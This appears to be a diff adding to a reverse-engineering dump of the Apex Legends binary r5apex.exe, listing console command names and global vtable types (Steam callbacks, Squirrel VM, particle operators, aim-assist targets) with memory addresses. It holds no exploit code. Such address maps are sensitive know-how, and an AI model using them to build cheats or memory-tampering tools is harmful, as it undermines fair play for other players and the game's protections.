+r5apex.exe!0x012602d0 ConCommand silentconnect +r5apex.exe!0x0119bfa0 ConCommand skill_writeTrainingData +r5apex.exe!0x01893b40 ConCommand soundscape_dumpclient +r5apex.exe!0x01c4f960 ConCommand spawn_as_pilot +r5apex.exe!0x01c546f0 ConCommand spawn_as_titan +r5apex.exe!0x011935c0 ConCommand ss_map +r5apex.exe!0x01c4ea90 ConCommand ss_reloadletterbox +r5apex.exe!0x01e58740 ConCommand sssss_enable +r5apex.exe!0x0119ac60 ConCommand star_memory +r5apex.exe!0x01261920 ConCommand startmovie +r5apex.exe!0x01197ed0 ConCommand status +r5apex.exe!0x012d1340 ConCommand steam_printid +r5apex.exe!0x012d1220 ConCommand steam_testOverlay +r5apex.exe!0x012d0c40 ConCommand steamlink +r5apex.exe!0x012d0d60 ConCommand steamunlink +r5apex.exe!0x01c51a70 ConCommand stop_transition_videos_fadeout +r5apex.exe!0x01c49df0 ConCommand stopsoundscape +r5apex.exe!0x01c50860 ConCommand stopvideos +r5apex.exe!0x01c4d270 ConCommand stopvideos_fadeout +r5apex.exe!0x01298f60 ConCommand sv_precacheinfo +r5apex.exe!0x0129a560 ConCommand sv_showents +r5apex.exe!0x0129a0a0 ConCommand sv_shutdown +r5apex.exe!0x0129ba40 ConCommand sv_writeSendTableStreamFile +r5apex.exe!0x0188e180 ConCommand testCockpitJoltAngles +r5apex.exe!0x01894580 ConCommand testCockpitJoltOrigin +r5apex.exe!0x01ca40a0 ConCommand test_freezeframe +r5apex.exe!0x01c4b810 ConCommand testhudanim +r5apex.exe!0x012cced0 ConCommand thread_test_tslist +r5apex.exe!0x012cb730 ConCommand thread_test_tsqueue +r5apex.exe!0x01c4f290 ConCommand titan_loadout_select +r5apex.exe!0x0118ddc0 ConCommand toggle +r5apex.exe!0x01c54a70 ConCommand toggle_inventory +r5apex.exe!0x01c50980 ConCommand toggle_map +r5apex.exe!0x01e6fe00 ConCommand ui_reloadscheme +r5apex.exe!0x01e5d4e0 ConCommand uiscript_reset +r5apex.exe!0x01e5e3d0 ConCommand uiscript_resolutionchanged +r5apex.exe!0x01190c20 ConCommand unbind +r5apex.exe!0x01192300 ConCommand unbind_US_standard +r5apex.exe!0x01195500 ConCommand unbind_all_gamepad +r5apex.exe!0x01194090 ConCommand unbind_batch +r5apex.exe!0x01195210 ConCommand unbind_held +r5apex.exe!0x0118fd80 ConCommand unbind_held_US_standard +r5apex.exe!0x011924e0 ConCommand unbindall +r5apex.exe!0x01191a10 ConCommand unbindall_ignoreGamepad +r5apex.exe!0x01195100 ConCommand unload_level_loadscreen +r5apex.exe!0x012d21e0 ConCommand unmuteroom +r5apex.exe!0x01c53490 ConCommand unpausevideos +r5apex.exe!0x01c52f30 ConCommand use_consumable +r5apex.exe!0x0129acc0 ConCommand user +r5apex.exe!0x0129a440 ConCommand users +r5apex.exe!0x011952b0 ConCommand version +r5apex.exe!0x01e8d030 ConCommand vgui_spew_fonts +r5apex.exe!0x0119c880 ConCommand vgui_togglepanel +r5apex.exe!0x01190510 ConCommand voicerecord_toggle +r5apex.exe!0x0118ea80 ConCommand vx_datacache_list +r5apex.exe!0x01190d00 ConCommand vx_model_list +r5apex.exe!0x01c41290 ConCommand weaponSelectOrdnance +r5apex.exe!0x01c49040 ConCommand weaponSelectPrimary0 +r5apex.exe!0x01c3e030 ConCommand weaponSelectPrimary1 +r5apex.exe!0x01c3d150 ConCommand weaponSelectPrimary2 +r5apex.exe!0x01c46e70 ConCommand weapon_activity +r5apex.exe!0x01c390b0 ConCommand weapon_inspect +r5apex.exe!0x018a0960 ConCommand weapon_list +r5apex.exe!0x01e5f070 ConCommand weapon_reparse +r5apex.exe!0x01191ec0 ConCommand xlog_list +r5apex.exe!0x01198790 ConCommand xlog_record +r5apex.exe!0x01195180 ConCommand xlog_record_that +r5apex.exe!0x011915b0 ConCommand xlog_stop +r5apex.exe!0x01c45670 ConCommand xlook +r5apex.exe!0x01c399d0 ConCommand xmove +``` + +## Globals + +List of global variables with an associated vtable and their type name. + +``` +r5apex.exe!0x01885e80 .?AUCCallbackInternal_OnAchievementsStored@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01885df0 .?AUCCallbackInternal_OnFileOpenDialog@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x01885e40 .?AUCCallbackInternal_OnGetAuthTicket@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01885dd0 .?AUCCallbackInternal_OnJSAlert@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x01885de0 .?AUCCallbackInternal_OnJSConfirm@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x01885e50 .?AUCCallbackInternal_OnMicroTxnAuthorization@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01885db0 .?AUCCallbackInternal_OnNeedsPaint@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x01885e60 .?AUCCallbackInternal_OnOverlayActivated@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01885e90 .?AUCCallbackInternal_OnOverlayBrowserNavigation@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01885dc0 .?AUCCallbackInternal_OnStartRequest@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x01885e70 .?AUCCallbackInternal_OnUserStatsReceived@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01e906f8 .?AUSQArray@@ +r5apex.exe!0x01e90630 .?AUSQClass@@ +r5apex.exe!0x01e905e0 .?AUSQClosure@@ +r5apex.exe!0x01e904c8 .?AUSQFunctionProto@@ +r5apex.exe!0x01e90360 .?AUSQInstance@@ +r5apex.exe!0x01e90720 .?AUSQNativeClosure@@ +r5apex.exe!0x01e90428 .?AUSQString@@ +r5apex.exe!0x01e906a8 .?AUSQStructDef@@ +r5apex.exe!0x01e90478 .?AUSQStructInstance@@ +r5apex.exe!0x01e904a0 .?AUSQTable@@ +r5apex.exe!0x01e90388 .?AUSQUserData@@ +r5apex.exe!0x01e90748 .?AUSQVM@@ +r5apex.exe!0x01e90770 .?AUSQWeakRef@@ +r5apex.exe!0x01885e00 .?AV?$CCallResult@VSteamWrapper_HTMLSurfaceCallbackHandler_s@@UHTML_BrowserReady_t@@@@ +r5apex.exe!0x05989068 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x059890d0 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x059890d8 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x059890f8 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989160 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989168 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989188 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x059891f0 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x059891f8 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989218 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989280 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989288 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0118a648 .?AV?$CDataManager@UDataCacheItem_t@@UDataCacheItemData_t@@PEAU1@VCThreadFastMutex@@@@ +r5apex.exe!0x041a8bd0 .?AV?$CDataManager@VCBoneCache@@Ubonecacheparams_t@@PEAV1@VCThreadFastMutex@@@@ +r5apex.exe!0x041a8c80 .?AV?$CDataManager@VCBoneCache@@Ubonecacheparams_t@@PEAV1@VCThreadFastMutex@@@@ +r5apex.exe!0x01260a48 .?AV?$CPanelFactory@VCMovieDisplayScreen@@UVGuiScreenInitData_t@@@@ +r5apex.exe!0x012604d8 .?AV?$CPanelFactory@VCVGuiScreenPanel@@UVGuiScreenInitData_t@@@@ +r5apex.exe!0x01e8a010 .?AV?$CParticleOperatorDefinition@VC_INIT_AgeNoise@@@@ +r5apex.exe!0x01e89ef0 .?AV?$CParticleOperatorDefinition@VC_INIT_ChaoticAttractor@@@@ +r5apex.exe!0x01e8a058 .?AV?$CParticleOperatorDefinition@VC_INIT_ColorLitPerParticle@@@@ +r5apex.exe!0x01e86be8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateAlongPath@@@@ +r5apex.exe!0x01e84d68 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateFromParentParticles@@@@ +r5apex.exe!0x01e8a070 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateFromPlaneCache@@@@ +r5apex.exe!0x01e8a0e8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateInEpitrochoid@@@@ +r5apex.exe!0x01e89f80 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateInHierarchy@@@@ +r5apex.exe!0x01e7d5b8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateOnModel@@@@ +r5apex.exe!0x01e8a088 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateSequentialPath@@@@ +r5apex.exe!0x01e89fc8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateWithinBox@@@@ +r5apex.exe!0x01e87b48 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateWithinControlPointBox@@@@ +r5apex.exe!0x01e8a260 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateWithinSphere@@@@ +r5apex.exe!0x01e85888 .?AV?$CParticleOperatorDefinition@VC_INIT_CreationNoise@@@@ +r5apex.exe!0x01e8a148 .?AV?$CParticleOperatorDefinition@VC_INIT_DistanceToCPInit@@@@ +r5apex.exe!0x01e86188 .?AV?$CParticleOperatorDefinition@VC_INIT_InheritFromParentParticles@@@@ +r5apex.exe!0x01e89fb0 .?AV?$CParticleOperatorDefinition@VC_INIT_InheritVelocity@@@@ +r5apex.exe!0x01e89f08 .?AV?$CParticleOperatorDefinition@VC_INIT_InitFromParentKilled@@@@ +r5apex.exe!0x01e89f98 .?AV?$CParticleOperatorDefinition@VC_INIT_InitialRepulsionVelocity@@@@ +r5apex.exe!0x01e8a278 .?AV?$CParticleOperatorDefinition@VC_INIT_InitialVelocityNoise@@@@ +r5apex.exe!0x01e85788 .?AV?$CParticleOperatorDefinition@VC_INIT_LifespanFromVelocity@@@@ +r5apex.exe!0x01e8a0d0 .?AV?$CParticleOperatorDefinition@VC_INIT_ModelCull@@@@ +r5apex.exe!0x01e89f50 .?AV?$CParticleOperatorDefinition@VC_INIT_MoveBetweenPoints@@@@ +r5apex.exe!0x01e89f68 .?AV?$CParticleOperatorDefinition@VC_INIT_NormalAlignToCP@@@@ +r5apex.exe!0x01e8a218 .?AV?$CParticleOperatorDefinition@VC_INIT_NormalOffset@@@@ +r5apex.exe!0x01e86068 .?AV?$CParticleOperatorDefinition@VC_INIT_OffsetVectorToVector@@@@ +r5apex.exe!0x01e89fe0 .?AV?$CParticleOperatorDefinition@VC_INIT_PositionOffset@@@@ +r5apex.exe!0x01e7c838 .?AV?$CParticleOperatorDefinition@VC_INIT_PositionPlaceOnGround@@@@ +r5apex.exe!0x01e89ff8 .?AV?$CParticleOperatorDefinition@VC_INIT_PositionWarp@@@@ +r5apex.exe!0x01e8a040 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomAlpha@@@@ +r5apex.exe!0x01e85528 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomColor@@@@ +r5apex.exe!0x01e89498 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomLifeTime@@@@ +r5apex.exe!0x01e74ad8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomRadius@@@@ +r5apex.exe!0x01e84de8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomRotation@@@@ +r5apex.exe!0x01e73be8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomRotationSpeed@@@@ +r5apex.exe!0x01e86d68 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomScalar@@@@ +r5apex.exe!0x01e89ec0 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomSecondSequence@@@@ +r5apex.exe!0x01e8a248 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomSequence@@@@ +r5apex.exe!0x01e767e8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomTrailLength@@@@ +r5apex.exe!0x01e8a290 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomVector@@@@ +r5apex.exe!0x01e8a0b8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomVectorComponent@@@@ +r5apex.exe!0x01e8a200 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomYaw@@@@ +r5apex.exe!0x01e74bf8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomYawFlip@@@@ +r5apex.exe!0x01e85808 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapCPtoScalar@@@@ +r5apex.exe!0x01e7e3f8 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapCPtoVector@@@@ +r5apex.exe!0x01e862a8 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapInitialCPDirectionToRotation@@@@ +r5apex.exe!0x01e81b48 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapInitialDirectionToCPToVector@@@@ +r5apex.exe!0x01e89ed8 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapParticleCountToScalar@@@@ +r5apex.exe!0x01e7a868 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapScalar@@@@ +r5apex.exe!0x01e8a100 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapScalarToVector@@@@ +r5apex.exe!0x01e74898 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapSpeedToScalar@@@@ +r5apex.exe!0x01e8a130 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapWorldCPtoScreen@@@@ +r5apex.exe!0x01e8a230 .?AV?$CParticleOperatorDefinition@VC_INIT_RingWave@@@@ +r5apex.exe!0x01e8a0a0 .?AV?$CParticleOperatorDefinition@VC_INIT_SequenceFromCP@@@@ +r5apex.exe!0x01e854a8 .?AV?$CParticleOperatorDefinition@VC_INIT_SequenceLifeTime@@@@ +r5apex.exe!0x01e8a028 .?AV?$CParticleOperatorDefinition@VC_INIT_SetCPPosition@@@@ +r5apex.exe!0x01e87ac8 .?AV?$CParticleOperatorDefinition@VC_INIT_SetHitboxToClosest@@@@ +r5apex.exe!0x01e89f38 .?AV?$CParticleOperatorDefinition@VC_INIT_SetHitboxToModel@@@@ +r5apex.exe!0x01e89f20 .?AV?$CParticleOperatorDefinition@VC_INIT_VelocityFromCP@@@@ +r5apex.exe!0x01e8a118 .?AV?$CParticleOperatorDefinition@VC_INIT_VelocityRandom@@@@ +r5apex.exe!0x01e8aa40 .?AV?$CParticleOperatorDefinition@VC_OP_AlphaDecay@@@@ +r5apex.exe!0x01e8a338 .?AV?$CParticleOperatorDefinition@VC_OP_AttractToControlPoint@@@@ +r5apex.exe!0x01e8ab58 .?AV?$CParticleOperatorDefinition@VC_OP_AxisSpin@@@@ +r5apex.exe!0x01e8a4d0 .?AV?$CParticleOperatorDefinition@VC_OP_BasicMovement@@@@ +r5apex.exe!0x01e73018 .?AV?$CParticleOperatorDefinition@VC_OP_BoxConstraint@@@@ +r5apex.exe!0x01e8a3e0 .?AV?$CParticleOperatorDefinition@VC_OP_CPOffsetToPercentageBetweenCPs@@@@ +r5apex.exe!0x01e8ad88 .?AV?$CParticleOperatorDefinition@VC_OP_ClampScalar@@@@ +r5apex.exe!0x01e8a818 .?AV?$CParticleOperatorDefinition@VC_OP_ClampVector@@@@ +r5apex.exe!0x01e8a710 .?AV?$CParticleOperatorDefinition@VC_OP_ColorInterpolate@@@@ +r5apex.exe!0x01e73758 .?AV?$CParticleOperatorDefinition@VC_OP_ConstrainDistance@@@@ +r5apex.exe!0x01e738a8 .?AV?$CParticleOperatorDefinition@VC_OP_ConstrainDistanceToPath@@@@ +r5apex.exe!0x01e8a308 .?AV?$CParticleOperatorDefinition@VC_OP_ContinuousEmitter@@@@ +r5apex.exe!0x01e8ab88 .?AV?$CParticleOperatorDefinition@VC_OP_ControlpointLight@@@@ +r5apex.exe!0x01e8a518 .?AV?$CParticleOperatorDefinition@VC_OP_Cull@@@@ +r5apex.exe!0x01e8ad70 .?AV?$CParticleOperatorDefinition@VC_OP_DampenToCP@@@@ +r5apex.exe!0x01e8a470 .?AV?$CParticleOperatorDefinition@VC_OP_Decay@@@@ +r5apex.exe!0x01e8aa70 .?AV?$CParticleOperatorDefinition@VC_OP_DecayMaintainCount@@@@ +r5apex.exe!0x01e8abf8 .?AV?$CParticleOperatorDefinition@VC_OP_DifferencePreviousParticle@@@@ +r5apex.exe!0x01e8a8a8 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceBetweenCPs@@@@ +r5apex.exe!0x01e8a7d0 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceBetweenCPsToCP@@@@ +r5apex.exe!0x01e8acc8 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceCull@@@@ +r5apex.exe!0x01e8a2a8 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceEmitter@@@@ +r5apex.exe!0x01e8a770 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceToCP@@@@ +r5apex.exe!0x01e8a4a0 .?AV?$CParticleOperatorDefinition@VC_OP_FadeAndKill@@@@ +r5apex.exe!0x01e8abe0 .?AV?$CParticleOperatorDefinition@VC_OP_FadeAndKillForTracers@@@@ +r5apex.exe!0x01e8a758 .?AV?$CParticleOperatorDefinition@VC_OP_FadeIn@@@@ +r5apex.exe!0x01e8a638 .?AV?$CParticleOperatorDefinition@VC_OP_FadeInSimple@@@@ +r5apex.exe!0x01e8a878 .?AV?$CParticleOperatorDefinition@VC_OP_FadeOut@@@@ +r5apex.exe!0x01e8a980 .?AV?$CParticleOperatorDefinition@VC_OP_FadeOutSimple@@@@ +r5apex.exe!0x01e8a350 .?AV?$CParticleOperatorDefinition@VC_OP_ForceBasedOnDistanceToPlane@@@@ +r5apex.exe!0x01e8a9e0 .?AV?$CParticleOperatorDefinition@VC_OP_GraphScalar@@@@ +r5apex.exe!0x01e8ac70 .?AV?$CParticleOperatorDefinition@VC_OP_GraphVector@@@@ +r5apex.exe!0x01e8a5c0 .?AV?$CParticleOperatorDefinition@VC_OP_InheritFromParentParticles@@@@ +r5apex.exe!0x01e8a320 .?AV?$CParticleOperatorDefinition@VC_OP_InstantaneousDistanceEmitter@@@@ +r5apex.exe!0x01e8a2c0 .?AV?$CParticleOperatorDefinition@VC_OP_InstantaneousEmitter@@@@ +r5apex.exe!0x01e8acf8 .?AV?$CParticleOperatorDefinition@VC_OP_InterpolateRadius@@@@ +r5apex.exe!0x01e8a4e8 .?AV?$CParticleOperatorDefinition@VC_OP_LagCompensation@@@@ +r5apex.exe!0x01e8a428 .?AV?$CParticleOperatorDefinition@VC_OP_LerpEndCapScalar@@@@ +r5apex.exe!0x01e8a8c0 .?AV?$CParticleOperatorDefinition@VC_OP_LerpEndCapVector@@@@ +r5apex.exe!0x01e8a668 .?AV?$CParticleOperatorDefinition@VC_OP_LerpScalar@@@@ +r5apex.exe!0x01e8a890 .?AV?$CParticleOperatorDefinition@VC_OP_LerpVector@@@@ +r5apex.exe!0x01e8a6e0 .?AV?$CParticleOperatorDefinition@VC_OP_LockToBone@@@@ +r5apex.exe!0x01e8a8f0 .?AV?$CParticleOperatorDefinition@VC_OP_LockToSavedSequentialPath@@@@ +r5apex.exe!0x01e8a2d8 .?AV?$CParticleOperatorDefinition@VC_OP_MaintainEmitter@@@@ +r5apex.exe!0x01e8ad28 .?AV?$CParticleOperatorDefinition@VC_OP_MaintainSequentialPath@@@@ +r5apex.exe!0x01e8a860 .?AV?$CParticleOperatorDefinition@VC_OP_MaxVelocity@@@@ +r5apex.exe!0x01e8a6f8 .?AV?$CParticleOperatorDefinition@VC_OP_ModelCull@@@@ +r5apex.exe!0x01e8abc8 .?AV?$CParticleOperatorDefinition@VC_OP_MoveToHitbox@@@@ +r5apex.exe!0x01e8a500 .?AV?$CParticleOperatorDefinition@VC_OP_MovementMaintainOffset@@@@ +r5apex.exe!0x01e8ac28 .?AV?$CParticleOperatorDefinition@VC_OP_MovementPlaceOnGround@@@@ +r5apex.exe!0x01e8aa88 .?AV?$CParticleOperatorDefinition@VC_OP_MovementRotateParticleAroundAxis@@@@ +r5apex.exe!0x01e8a740 .?AV?$CParticleOperatorDefinition@VC_OP_Noise@@@@ +r5apex.exe!0x01e8a2f0 .?AV?$CParticleOperatorDefinition@VC_OP_NoiseEmitter@@@@ +r5apex.exe!0x01e8aa58 .?AV?$CParticleOperatorDefinition@VC_OP_NormalLock@@@@ +r5apex.exe!0x01e8a7b8 .?AV?$CParticleOperatorDefinition@VC_OP_NormalizeVector@@@@ +r5apex.exe!0x01e8ac10 .?AV?$CParticleOperatorDefinition@VC_OP_Orient2DRelToCP@@@@ +r5apex.exe!0x01e8ac40 .?AV?$CParticleOperatorDefinition@VC_OP_OrientTo2dDirection@@@@ +r5apex.exe!0x01e8a920 .?AV?$CParticleOperatorDefinition@VC_OP_OrientTowardPlayer@@@@ +r5apex.exe!0x01e8a5a8 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateScalar@@@@ +r5apex.exe!0x01e8a560 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateScalarSimple@@@@ +r5apex.exe!0x01e8ac98 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateVector@@@@ +r5apex.exe!0x01e8a4b8 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateVectorSimple@@@@ +r5apex.exe!0x01e8a398 .?AV?$CParticleOperatorDefinition@VC_OP_ParentVortices@@@@ +r5apex.exe!0x01e8a9c8 .?AV?$CParticleOperatorDefinition@VC_OP_PercentageBetweenCPs@@@@ +r5apex.exe!0x01e8a5f0 .?AV?$CParticleOperatorDefinition@VC_OP_PercentageBetweenCPsVector@@@@ +r5apex.exe!0x01e73188 .?AV?$CParticleOperatorDefinition@VC_OP_PlanarConstraint@@@@ +r5apex.exe!0x01e8a998 .?AV?$CParticleOperatorDefinition@VC_OP_PlaneCull@@@@ +r5apex.exe!0x01e8a830 .?AV?$CParticleOperatorDefinition@VC_OP_PositionBetweenCPs@@@@ +r5apex.exe!0x01e8a440 .?AV?$CParticleOperatorDefinition@VC_OP_PositionLock@@@@ +r5apex.exe!0x01e8aba0 .?AV?$CParticleOperatorDefinition@VC_OP_ProjectileArc@@@@ +r5apex.exe!0x01e8a530 .?AV?$CParticleOperatorDefinition@VC_OP_RadiusDecay@@@@ +r5apex.exe!0x01e8aa28 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarLinear@@@@ +r5apex.exe!0x01e8acb0 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarLinearSimple@@@@ +r5apex.exe!0x01e8a488 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarSpline@@@@ +r5apex.exe!0x01e8a680 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarSplineSimple@@@@ +r5apex.exe!0x01e8a3c8 .?AV?$CParticleOperatorDefinition@VC_OP_RandomForce@@@@ +r5apex.exe!0x01e8ac58 .?AV?$CParticleOperatorDefinition@VC_OP_RemapAverageScalarValuetoCP@@@@ +r5apex.exe!0x01e8a410 .?AV?$CParticleOperatorDefinition@VC_OP_RemapBoundingVolumetoCP@@@@ +r5apex.exe!0x01e8a6c8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapCPVelocityToVector@@@@ +r5apex.exe!0x01e8ad10 .?AV?$CParticleOperatorDefinition@VC_OP_RemapCPtoScalar@@@@ +r5apex.exe!0x01e8a7e8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapCPtoVector@@@@ +r5apex.exe!0x01e8a848 .?AV?$CParticleOperatorDefinition@VC_OP_RemapControlPointDirectionToVector@@@@ +r5apex.exe!0x01e8a950 .?AV?$CParticleOperatorDefinition@VC_OP_RemapDirectionToCPToVector@@@@ +r5apex.exe!0x01e8a590 .?AV?$CParticleOperatorDefinition@VC_OP_RemapDotProductToScalar@@@@ +r5apex.exe!0x01e8a9f8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapModelVolumetoCP@@@@ +r5apex.exe!0x01e8a9b0 .?AV?$CParticleOperatorDefinition@VC_OP_RemapScalar@@@@ +r5apex.exe!0x01e8a788 .?AV?$CParticleOperatorDefinition@VC_OP_RemapSpeed@@@@ +r5apex.exe!0x01e8a8d8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapSpeedtoCP@@@@ +r5apex.exe!0x01e8a458 .?AV?$CParticleOperatorDefinition@VC_OP_RemapVelocityToVector@@@@ +r5apex.exe!0x01e8a650 .?AV?$CParticleOperatorDefinition@VC_OP_RemapWorldCPToScreen@@@@ +r5apex.exe!0x01e8ae40 .?AV?$CParticleOperatorDefinition@VC_OP_RenderDecal@@@@ +r5apex.exe!0x01e8b020 .?AV?$CParticleOperatorDefinition@VC_OP_RenderLightSource@@@@ +r5apex.exe!0x01e8ae88 .?AV?$CParticleOperatorDefinition@VC_OP_RenderModels@@@@ +r5apex.exe!0x01e8ae58 .?AV?$CParticleOperatorDefinition@VC_OP_RenderPoints@@@@ +r5apex.exe!0x01e8b0f0 .?AV?$CParticleOperatorDefinition@VC_OP_RenderRope@@@@ +r5apex.exe!0x01e8b008 .?AV?$CParticleOperatorDefinition@VC_OP_RenderScreenVelocityRotate@@@@ +r5apex.exe!0x01e8ae70 .?AV?$CParticleOperatorDefinition@VC_OP_RenderScripts@@@@ +r5apex.exe!0x01e8b038 .?AV?$CParticleOperatorDefinition@VC_OP_RenderSprites@@@@ +r5apex.exe!0x01e8aff0 .?AV?$CParticleOperatorDefinition@VC_OP_RenderSpritesTrail@@@@ +r5apex.exe!0x01e8a968 .?AV?$CParticleOperatorDefinition@VC_OP_RestartAfterDuration@@@@ +r5apex.exe!0x01e8a548 .?AV?$CParticleOperatorDefinition@VC_OP_RotateVector@@@@ +r5apex.exe!0x01e8a800 .?AV?$CParticleOperatorDefinition@VC_OP_SetCPOrientationToDirection@@@@ +r5apex.exe!0x01e8a608 .?AV?$CParticleOperatorDefinition@VC_OP_SetChildControlPoints@@@@ +r5apex.exe!0x01e8a728 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointPositions@@@@ +r5apex.exe!0x01e8ad40 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointRotation@@@@ +r5apex.exe!0x01e8aa10 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToCenter@@@@ +r5apex.exe!0x01e8a578 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToImpactPoint@@@@ +r5apex.exe!0x01e8ace0 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToOwner@@@@ +r5apex.exe!0x01e8a6b0 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToPlayer@@@@ +r5apex.exe!0x01e8a7a0 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointsToParticle@@@@ +r5apex.exe!0x01e8a620 .?AV?$CParticleOperatorDefinition@VC_OP_SetPerChildControlPoint@@@@ +r5apex.exe!0x01e8ab70 .?AV?$CParticleOperatorDefinition@VC_OP_SoundMeterScalar@@@@ +r5apex.exe!0x01e8a3f8 .?AV?$CParticleOperatorDefinition@VC_OP_Spin@@@@ +r5apex.exe!0x01e8a698 .?AV?$CParticleOperatorDefinition@VC_OP_SpinUpdate@@@@ +r5apex.exe!0x01e8a938 .?AV?$CParticleOperatorDefinition@VC_OP_SpinYaw@@@@ +r5apex.exe!0x01e8ad58 .?AV?$CParticleOperatorDefinition@VC_OP_StopAfterCPDuration@@@@ +r5apex.exe!0x01e8a380 .?AV?$CParticleOperatorDefinition@VC_OP_TimeVaryingForce@@@@ +r5apex.exe!0x01e8a368 .?AV?$CParticleOperatorDefinition@VC_OP_TurbulenceForce@@@@ +r5apex.exe!0x01e8a3b0 .?AV?$CParticleOperatorDefinition@VC_OP_TwistAroundAxis@@@@ +r5apex.exe!0x01e8a5d8 .?AV?$CParticleOperatorDefinition@VC_OP_VectorNoise@@@@ +r5apex.exe!0x01e8a908 .?AV?$CParticleOperatorDefinition@VC_OP_VelocityDecay@@@@ +r5apex.exe!0x01e8ab40 .?AV?$CParticleOperatorDefinition@VC_OP_VelocityMatchingForce@@@@ +r5apex.exe!0x01e72af8 .?AV?$CParticleOperatorDefinition@VC_OP_WorldCollideConstraint@@@@ +r5apex.exe!0x01e73978 .?AV?$CParticleOperatorDefinition@VC_OP_WorldTraceConstraint@@@@ +r5apex.exe!0x018a3b70 .?AV?$C_EntityClassList@VC_PointCamera@@@@ +r5apex.exe!0x01c42098 .?AV?$C_EntityClassList@VC_TriggerPlayerMovement@@@@ +r5apex.exe!0x01eb9770 .?AVAddressV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eba180 .?AVAssignErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01eb8d20 .?AVBinaryMessage@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x018a9220 .?AVCAimAssistTargets@@ +r5apex.exe!0x018a9228 .?AVCAimAssistTargets@@ +r5apex.exe!0x0119eeb0 .?AVCAvi@@ +r5apex.exe!0x01195318 .?AVCBaseClientRenderTargets@@ +r5apex.exe!0x01e915e8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e91758 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01e91c68 .?AVCBaseResourcePrecacher@@ 